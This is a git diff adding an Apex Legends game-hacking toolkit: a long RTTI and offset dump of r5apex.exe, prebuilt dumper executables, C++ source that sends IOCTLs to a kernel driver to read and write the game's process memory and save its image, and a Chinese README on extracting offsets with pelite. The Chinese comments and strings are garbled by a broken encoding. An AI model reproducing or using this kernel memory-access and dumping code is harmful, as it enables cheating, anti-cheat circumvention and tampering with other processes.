+r5apex.exe!0x01c97240 .?AVC_DataObjectAccessSystem@@ +r5apex.exe!0x01e8b108 .?AVC_DefaultParticleSystemQuery@@ +r5apex.exe!0x0129baa8 .?AVC_DirtySpatialPartitionEntityList@@ +r5apex.exe!0x01c5bcc0 .?AVC_GameMovement@@ +r5apex.exe!0x01c75720 .?AVC_GameRules@@ +r5apex.exe!0x067f6f60 .?AVC_GameStringPool@@ +r5apex.exe!0x01c4b458 .?AVC_GameTimescale@@ +r5apex.exe!0x01c89400 .?AVC_ParticleSystemQuery@@ +r5apex.exe!0x01c9c528 .?AVC_PrecacheHandler@@ +r5apex.exe!0x01c97358 .?AVC_PrecacheRegister@@ +r5apex.exe!0x01c9d510 .?AVC_PropData@@ +r5apex.exe!0x01c9af18 .?AVC_PropSurvivalList@@ +r5apex.exe!0x01c45420 .?AVC_SoundscapeSystem@@ +r5apex.exe!0x01c3ff60 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c3ff70 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c3c270 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c3c280 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c3c1f0 .?AVC_TEExplosion@@ +r5apex.exe!0x01c3c200 .?AVC_TEExplosion@@ +r5apex.exe!0x011989d8 .?AVC_TEGibEvent@@ +r5apex.exe!0x011989e8 .?AVC_TEGibEvent@@ +r5apex.exe!0x01c39050 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01c39060 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01e7c7e0 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01e7c7f0 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01c88130 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01c88140 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01c5ae90 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01c5aea0 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01c8cef0 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01c8cf00 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01c440a0 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c440b0 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c410f0 .?AVC_TESoundDispatch@@ +r5apex.exe!0x01c41100 .?AVC_TESoundDispatch@@ +r5apex.exe!0x0119d068 .?AVC_TempEntsSystem@@ +r5apex.exe!0x01c75a60 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75a90 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75ac0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75af0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b20 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b50 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b80 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75bb0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01e7a820 .?AVC_TurretList@@ +r5apex.exe!0x01e81b00 .?AVC_WeaponXList@@ +r5apex.exe!0x01eb8d60 .?AVChannel@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9930 .?AVChannelMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8d90 .?AVChannelMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8e40 .?AVChannelMuteList@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9440 .?AVChannelMuteListV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb94b0 .?AVChannelV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9980 .?AVChatChannelUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb99b0 .?AVChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb99d0 .?AVChatChannelsRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a00 .?AVChatChannelsV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a50 .?AVChatConnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a78 .?AVChatDisconnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb94f8 .?AVChatInitiateSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9aa0 .?AVChatInitiateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9ae8 .?AVChatLeaveV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b08 .?AVChatLeftV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba1a8 .?AVChatMembersRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b30 .?AVChatMembersRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b70 .?AVChatMembersV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba1c8 .?AVChatTypingEventRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9bc8 .?AVChatTypingEventRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9c30 .?AVChatTypingEventV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9bf8 .?AVChatUserMutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9c70 .?AVChatUserUnmutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x0127a6e8 .?AVClientDataBlockReceiver@@ +r5apex.exe!0x018a6cf0 .?AVClientModeFullscreen@@ +r5apex.exe!0x01eb8e80 .?AVCommunication@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8860 .?AVCommunication@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8890 .?AVCommunicationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb97a0 .?AVCustomMessage@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x00e78550 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78560 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78570 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78580 .?AVDNameStatusNode@@ +r5apex.exe!0x01178db0 .?AVDenuvoTrialV2@@ +r5apex.exe!0x01ed0c70 .?AVDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0d58 .?AVDescriptorProto_ExtensionRange@protobuf@google@@ +r5apex.exe!0x01ed0d80 .?AVDescriptorProto_ReservedRange@protobuf@google@@ +r5apex.exe!0x01ed0da0 .?AVEnumDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0e10 .?AVEnumDescriptorProto_EnumReservedRange@protobuf@google@@ +r5apex.exe!0x01ed0e30 .?AVEnumOptions@protobuf@google@@ +r5apex.exe!0x01ed0e80 .?AVEnumValueDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0eb0 .?AVEnumValueOptions@protobuf@google@@ +r5apex.exe!0x01eba210 .?AVErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f00 .?AVExtensionRangeOptions@protobuf@google@@ +r5apex.exe!0x01eb9ca8 .?AVFetchStickyMessagesRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f70 .?AVFieldDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0ff0 .?AVFieldOptions@protobuf@google@@ +r5apex.exe!0x01eba1e8 .?AVFieldViolationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed1050 .?AVFileDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1128 .?AVFileDescriptorSet@protobuf@google@@ +r5apex.exe!0x01ed1160 .?AVFileOptions@protobuf@google@@ +r5apex.exe!0x01ed1208 .?AVGeneratedCodeInfo@protobuf@google@@ +r5apex.exe!0x01ed1240 .?AVGeneratedCodeInfo_Annotation@protobuf@google@@ +r5apex.exe!0x01eba810 .?AVGetPreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba828 .?AVGetPreferenceResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba790 .?AVGetRolesRequest@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba7a8 .?AVGetRolesResponse@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8f20 .?AVGroupMembershipChange@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01882e20 .?AVHardwareConfigDX11@@ +r5apex.exe!0x01eb8f80 .?AVHeader@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9518 .?AVHeartbeatV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8fb0 .?AVHistoryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8ff0 .?AVHistoryResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x0119d0f8 .?AVIPredictionSystem_Client@@ +r5apex.exe!0x012d4ef0 .?AVImeTextStore@@ +r5apex.exe!0x012d4ef8 .?AVImeTextStore@@ +r5apex.exe!0x012d4f00 .?AVImeTextStore@@ +r5apex.exe!0x012d4f08 .?AVImeTextStore@@ +r5apex.exe!0x012d4f10 .?AVImeTextStore@@ +r5apex.exe!0x012d4f18 .?AVImeTextStore@@ +r5apex.exe!0x012d4f20 .?AVImeTextStore@@ +r5apex.exe!0x012d4f28 .?AVImeTextStore@@ +r5apex.exe!0x01eba5d0 .?AVInvitation@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba270 .?AVLoginErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9040 .?AVLoginRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8a40 .?AVLoginRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8a68 .?AVLoginRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8aa0 .?AVLoginRequestV3@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9070 .?AVLoginResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9530 .?AVLoginV2Success@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9550 .?AVLoginV3Response@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb90d0 .?AVLogoutRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x0125fbf8 .?AVMapSettingsReseter@@ +r5apex.exe!0x01ed1280 .?AVMessageOptions@protobuf@google@@ +r5apex.exe!0x01ed12d0 .?AVMethodDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1310 .?AVMethodOptions@protobuf@google@@ +r5apex.exe!0x01e90c08 .?AVMonitorDefaultChanges@@ +r5apex.exe!0x01eb9cc8 .?AVMuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9588 .?AVMutedSetV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb90e8 .?AVMutedUser@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9118 .?AVMutedUserV1@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9858 .?AVNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f48 .?AVOneofDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1360 .?AVOneofOptions@protobuf@google@@ +r5apex.exe!0x01eb95b0 .?AVPersonaV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9150 .?AVPlayer@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba608 .?AVPlayer@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba708 .?AVPlayer@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba730 .?AVPlayerInfo@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb97d0 .?AVPointToPointMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba350 .?AVPresenceSubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba398 .?AVPresenceSubscriptionErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba3d0 .?AVPresenceUnsubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba418 .?AVPresenceUpdateErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba440 .?AVPresenceUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba490 .?AVPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9cf8 .?AVPromoteStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9178 .?AVPublishBinaryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb91a0 .?AVPublishResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb91d0 .?AVPublishTextRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba8f0 .?AVRateLimitConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8af0 .?AVReconnectRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9d30 .?AVRemoveStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba4f0 .?AVRichPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x0129b3e0 .?AVSVC_UserMessage@@ +r5apex.exe!0x01eba918 .?AVServerConfigRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba930 .?AVServerConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed13b0 .?AVServiceDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed13f0 .?AVServiceOptions@protobuf@google@@ +r5apex.exe!0x01eb95e0 .?AVSessionCleanupV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9880 .?AVSessionNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9600 .?AVSessionRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9618 .?AVSessionResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9648 .?AVSessionV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed1440 .?AVSourceCodeInfo@protobuf@google@@ +r5apex.exe!0x01ed1470 .?AVSourceCodeInfo_Location@protobuf@google@@ +r5apex.exe!0x01eb9d58 .?AVStickyMessageChangedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9d80 .?AVStickyMessageResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9680 .?AVStickyMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9200 .?AVSubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9220 .?AVSubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb96d0 .?AVSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9270 .?AVTextMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9710 .?AVTextMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba848 .?AVTranslationPreferenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed14e0 .?AVUninterpretedOption@protobuf@google@@ +r5apex.exe!0x01ed0fc8 .?AVUninterpretedOption_NamePart@protobuf@google@@ +r5apex.exe!0x01eb9db8 .?AVUnmuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb92b8 .?AVUnsubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb92d8 .?AVUnsubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba870 .?AVUpdatePreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb98b8 .?AVUserMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01e8d5a0 .?AVVPanelWrapper@@ +r5apex.exe!0x01eba2a0 .?AVValidationErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9de8 .?AVWorldChatAssignV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e10 .?AVWorldChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e50 .?AVWorldChatChannelsResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e38 .?AVWorldChatConfigurationRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e90 .?AVWorldChatConfigurationResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9ec0 .?AVWorldChatMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9f00 .?AVWorldChatResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9f60 .?AVWorldChatShard@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba630 .?AVeadpRespawnPresence@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba680 .?AVp2pPayload@protocol@respawn@ea@com@@ +r5apex.exe!0x01eb8788 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x041a8d88 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x041a9de8 .?AVstl_critical_section_win7@details@Concurrency@@ +``` + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/dump_apex.exe" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/dump_apex.exe" new file mode 100644 index 0000000..9214743 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/dump_apex.exe" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/get_apex_offsets.exe" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/get_apex_offsets.exe" new file mode 100644 index 0000000..2e0fcd2 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/get_apex_offsets.exe" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/dump_apex.exe" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/dump_apex.exe" new file mode 100644 index 0000000..9214743 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/dump_apex.exe" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/main.cpp" new file mode 100644 index 0000000..4995878 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/main.cpp" @@ -0,0 +1,113 @@ +#include "memory.hpp" + +#include +#include +#include + +/* +APEX Dump +*/ + +void dump() +{ + HANDLE driver = open_device(); + if (driver == INVALID_HANDLE_VALUE) + { + std::cout << "[-] δ" << std::endl; + return; + } + + DWORD32 pid = 0; + std::cout << "[+] APEXID : "; + std::cin >> pid; + + DWORD64 base = 0; + std::cout << "[+] APEXַ̻ : "; + std::cin >> base; + + std::cout << "[+] Ŀ : " << pid << "\t Ŀַ : 0x" << std::hex << base << std::endl; + + // ȡdosͷ + IMAGE_DOS_HEADER dos = read(pid, base); + if (dos.e_magic != IMAGE_DOS_SIGNATURE) + { + std::cout << "[-] DOSͷ" << std::endl; + return; + } + else std::cout << "[+] DOSͷƫΪ : 0x" << dos.e_lfanew << std::endl; + + // ȡNTͷ + IMAGE_NT_HEADERS64 nt64 = read(pid, base + dos.e_lfanew); + if (nt64.Signature != IMAGE_NT_SIGNATURE || nt64.OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) + { + std::cout << "[-] NT64ͷ" << std::endl; + return; + } + + std::cout << "[+] ʱ : 0x" << nt64.FileHeader.TimeDateStamp << std::endl; + std::cout << "[+] У : 0x" << nt64.OptionalHeader.CheckSum << std::endl; + std::cout << "[+] ӳС : 0x" << nt64.OptionalHeader.SizeOfImage << std::endl; + + const size_t target_len = nt64.OptionalHeader.SizeOfImage; + uint8_t* data = read_array(pid, base, target_len); + if (data == nullptr) + { + std::cout << "[-] ȡAPEXڴʧ" << std::endl; + return; + } + + // ȡNTָ + PIMAGE_NT_HEADERS64 p_nt64 = reinterpret_cast(data + dos.e_lfanew); + + // ȡͷ + PIMAGE_SECTION_HEADER p_section = reinterpret_cast( + data + + static_cast(dos.e_lfanew) + + static_cast(FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader)) + + static_cast(nt64.FileHeader.SizeOfOptionalHeader)); + + // + for (size_t i = 0; i < nt64.FileHeader.NumberOfSections; i += 1) + { + //ȡ + auto& section = p_section[i]; + + // ַ + section.PointerToRawData = section.VirtualAddress; + section.SizeOfRawData = section.Misc.VirtualSize; + + // ضλ + if (!memcmp(section.Name, ".reloc\0\0", 8)) + { + p_nt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] = + { + section.VirtualAddress, + section.Misc.VirtualSize, + }; + } + } + + // һļ + HANDLE dump = CreateFileA("apex.bin", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_COMPRESSED, NULL); + if (dump != INVALID_HANDLE_VALUE) + { + if (WriteFile(dump, data, target_len, NULL, NULL)) + std::cout << "[+] дɹ" << std::endl; + else + std::cout << "[-] дʧ" << std::endl; + CloseHandle(dump); + } + + // ͷڴ + delete[] data; + + std::cout << "" << std::endl; +} + +int main(int argc, char* argv[]) +{ + dump(); + + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/memory.hpp" new file mode 100644 index 0000000..e089d79 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump]/memory.hpp" @@ -0,0 +1,141 @@ +#pragma once + +#pragma once + +#include +#include +#include +#include + +//ӷ +const wchar_t* symbols = L"\\\\.\\{ED2761FC-91F4-4E1E-A441-19117D9FAC59}"; + +//豸 +HANDLE g_device = INVALID_HANDLE_VALUE; + +//ȡṹ +struct KB_READ_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; +}; + +//дṹ +struct KB_WRITE_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; + BOOLEAN PerformCopyOnWrite; +}; + +/* IOCTL */ +BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL, + OPTIONAL IN DWORD Method = 3) +{ + DWORD RawIoctl = CTL_CODE(0x8000, Ioctl, Method, FILE_ANY_ACCESS); + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, RawIoctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; +} + +/* */ +BOOL KbSendRequest( + int Index, + IN PVOID Input = NULL, + ULONG InputSize = 0, + OUT PVOID Output = NULL, + ULONG OutputSize = 0) +{ + if (g_device) return SendIOCTL(g_device, 0x800 + Index, Input, InputSize, Output, OutputSize); + else MessageBoxA(0, 0, 0, 0); + return 0; +} + +/* дڴ */ +BOOL KbWriteProcessMemory( + ULONG ProcessId, + OUT PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite = FALSE) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_WRITE_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.PerformCopyOnWrite = PerformCopyOnWrite; + return KbSendRequest(65, &Input, sizeof(Input)); +} + +/* ȡڴ */ +BOOL KbReadProcessMemory( + ULONG ProcessId, + IN PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_READ_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + return KbSendRequest(64, &Input, sizeof(Input)); +} + +/* ȡڴ */ +template +T read(DWORD32 process_id, DWORD64 addr, DWORD32 size = sizeof(T)) +{ + T result{}; + + KbReadProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&result, (ULONG)size); + return result; +} + +/* ȡ */ +uint8_t* read_array(DWORD32 process_id, DWORD64 addr, DWORD32 size) +{ + uint8_t* data = new uint8_t[size]; + if (data) + { + memset(data, 0, size); + KbReadProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)data, (ULONG)size); + } + return data; +} + +/* дڴ */ +template +void write(DWORD32 process_id, DWORD64 addr, T buf, DWORD32 size = sizeof(T)) +{ + KbWriteProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&buf, (ULONG)size, FALSE); +} + +/* 豸 */ +HANDLE open_device(LPCWSTR NativeDeviceName = symbols) +{ + g_device = CreateFileW(NativeDeviceName, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return g_device; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/README.md" new file mode 100644 index 0000000..b013110 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/README.md" @@ -0,0 +1,47 @@ +# 前言 + +# 关于如何使用rust的pelite库解析apex的偏移与基址 + +因为我没有学过rust语言嘛,所以刚开始的时候都搞不过 + +搞了一天,各种测试,还是各种错误爆出来,我都无语了 + +后面去作者的github提问了一下,简直nice,一语道破呀 + +原因就是版本问题!!!!! + +不能使用v0.8版本,前面的版本不支持,也爆很多错 + +我根据作者的提示,直接就用了v0.9的版本,简直nice,没有报错了 + +接下来我就说一下怎么个操作法 : + +1.下载rust并进行安装(自己百度) + +2.解压pelite-0.9.0后,进入该目录 + +3.进入examples的目录,你会看到apex/apisetschema/csgo/tf2这几个文件夹和其它一些文件 + +4.把rs类型的文件全部删除,文件夹不能删除啊 + +5.然后进入apex文件夹,把文件夹里面的rs文件全部复制出来(复制到examples文件夹里面) + +6.回到pelite-0.9.0文件目录下,打开cmd + +7.输入命令 cargo run --example main + +8.OK,现在应该就能编译成功了,有了一个exe文件(就在pelite-0.9.0目录下,自己查找) + +9.如何就是输入命令 main r5apex.bin > stdout.md + +10.现在就能得到偏移了 + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/pelite-0.9.0.zip" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/pelite-0.9.0.zip" new file mode 100644 index 0000000..8d85a69 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[offsets] [pelite]/pelite-0.9.0.zip" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\345\201\217\347\247\273]/offset_2020_11_24.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\345\201\217\347\247\273]/offset_2020_11_24.txt" new file mode 100644 index 0000000..3ea4717 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\345\201\217\347\247\273]/offset_2020_11_24.txt" @@ -0,0 +1,36826 @@ +## Interfaces + +``` +r5apex.exe!0x011af398 ClientRenderTargets001 +r5apex.exe!0x011a4848 EngineTraceClient004 +r5apex.exe!0x011a3318 EngineTraceClientDecals004 +r5apex.exe!0x018a36d0 EventSystem001 +r5apex.exe!0x01e8a6b0 GameUI011 +r5apex.exe!0x011a7928 ISoundC002 